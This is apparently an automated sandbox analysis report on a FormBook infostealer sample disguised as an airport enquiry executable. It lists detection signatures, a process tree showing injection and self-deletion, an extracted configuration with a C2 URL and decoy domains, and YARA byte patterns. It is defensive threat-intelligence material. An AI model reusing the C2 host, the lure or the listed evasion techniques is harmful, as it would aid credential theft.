Edit tour

Windows Analysis Report
New Al Maktoum International Airport Enquiry Ref #2401249.exe

Overview

General Information

Sample name:	New Al Maktoum International Airport Enquiry Ref #2401249.exe
Analysis ID:	1499643
MD5:	621c253a4d715e3af16fe8be2fdd8cb1
SHA1:	68ce09cc59887c7f9649f22e6688028957d6c55e
SHA256:	007c997b49ac0889e71757762c82432a975a273eda4c871acec3c0823c6ea530
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

New Al Maktoum International Airport Enquiry Ref #2401249.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe" MD5: 621C253A4D715E3AF16FE8BE2FDD8CB1)

svchost.exe (PID: 7456 cmdline: "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

msiexec.exe (PID: 7504 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 7560 cmdline: /c del "C:\Windows\SysWOW64\svchost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.wheresthechocolateat.com/pt46/"], "decoy": ["twinportslocal.com", "rovor.store", "98169.club", "mdywl.com", "jrd3s.rest", "aston1717.top", "floridawoodworkingmachinery.com", "17tk555t.com", "ankitsho.shop", "seclameh.com", "realrecordlabel.com", "trenchonbirmingham.com", "af28.top", "rtp1kenzototo.com", "theselflovesite.com", "promotegetpaid.info", "strategiclogisticsagency.com", "learneracademy.net", "per-watch.com", "betbox2341.com", "22958.xyz", "birthdaywishestexts.com", "nihilculturamail.com", "vasymaman.com", "evriukpostaes.sbs", "winkingbots.com", "cb214.pro", "osakanacreation.com", "kingchuxing.com", "dr-cotton.net", "iiixc759q.xyz", "eraplay88rtpgacor.lat", "wguujb.com", "dental-implants-89083.bond", "liposuction-89237.bond", "harbalmaizik.com", "seoservicesdelhi.net", "fakefox.xyz", "wimetimephotos.com", "healthsaveplus.com", "wvufcw948o.top", "dieselrockpartners.com", "istchannelnet.com", "123moviesonl.com", "arlatwestern.shop", "cloudproduction.cloud", "gv3l1.vip", "casino-x-zerkalo27pm.xyz", "serverdayz.com", "dvdripguides.com", "vitalfitness.site", "c21candacedevillier.com", "gory12.online", "0452frl.com", "escpethemtrix.top", "koumimi.tech", "me29hs38g1.com", "dreziuy.xyz", "uddyen.shop", "asia76s.xyz", "melliccine.com", "olxelang.com", "paincareathome.com", "sliveringaf.christmas"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.4143107748.000000000E6AA000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_772cc62d	unknown	unknown	0xa62:$a2: pass 0xa68:$a3: email 0xa6f:$a4: login 0xa76:$a5: signin 0xa87:$a6: persistent 0xc5a:$r1: C:\Users\user\AppData\Roaming\LK3PNOT7\LK3log.ini
00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x99cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x148b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x959a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17849:$sqlite3step: 68 34 1C 7B E1 0x1795c:$sqlite3step: 68 34 1C 7B E1 0x17878:$sqlite3text: 68 38 2A 90 C5 0x1799d:$sqlite3text: 68 38 2A 90 C5 0x1788b:$sqlite3blob: 68 53 D8 7F 8C 0x179b3:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: New Al Maktoum International Airport Enquiry Ref #2401249.exe PID: 7428	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xfbf52:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: svchost.exe PID: 7456	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xe67:$a1: 3C 30 50 4F 53 54 74 09 40 0x3c730:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: msiexec.exe PID: 7504	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xb4ddc:$a1: 3C 30 50 4F 53 54 74 09 40 0x11fa35:$a1: 3C 30 50 4F 53 54 74 09 40 0x1820f4:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
1.2.svchost.exe.2670000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.svchost.exe.2670000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.2670000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bdc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bcf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14ab7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
1.2.svchost.exe.2670000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.svchost.exe.2670000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bdc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bcf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14ab7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
